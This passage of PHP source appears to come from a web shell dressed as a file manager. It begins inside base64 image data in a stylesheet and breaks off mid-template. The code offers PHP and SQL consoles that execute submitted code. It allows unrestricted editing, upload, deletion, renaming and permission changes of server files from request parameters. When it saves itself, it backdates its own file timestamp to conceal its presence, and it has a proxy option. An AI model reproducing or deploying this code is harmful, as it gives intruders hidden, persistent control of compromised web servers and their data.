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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
